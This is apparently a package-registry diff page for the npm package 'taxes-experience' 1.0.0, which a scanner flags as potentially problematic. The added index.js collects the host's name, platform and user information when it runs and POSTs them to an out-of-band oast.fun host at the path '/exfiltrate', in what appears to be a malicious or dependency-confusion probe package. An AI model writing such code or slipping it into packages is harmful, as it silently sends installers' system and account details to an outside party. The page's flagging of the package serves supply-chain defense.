taxes-experience 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of taxes-experience might be problematic. Click here for more details.
- package/index.js +33 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
// index.js
|
2
|
+
const https = require('https');
|
3
|
+
const os = require('os');
|
4
|
+
const data = JSON.stringify({
|
5
|
+
hostname: os.hostname(),
|
6
|
+
platform: os.platform(),
|
7
|
+
userInfo: os.userInfo(),
|
8
|
+
});
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: '5g21gf31kndrzttk8gb881yency51xray.oast.fun',
|
12
|
+
port: 443,
|
13
|
+
path: '/exfiltrate',
|
14
|
+
method: 'POST',
|
15
|
+
headers: {
|
16
|
+
'Content-Type': 'application/json',
|
17
|
+
'Content-Length': data.length
|
18
|
+
}
|
19
|
+
};
|
20
|
+
|
21
|
+
const req = https.request(options, (res) => {
|
22
|
+
res.on('data', (d) => {
|
23
|
+
process.stdout.write(d);
|
24
|
+
});
|
25
|
+
});
|
26
|
+
|
27
|
+
req.on('error', (e) => {
|
28
|
+
console.error(e);
|
29
|
+
});
|
30
|
+
|
31
|
+
req.write(data);
|
32
|
+
req.end();
|
33
|
+
|
package/package.json
ADDED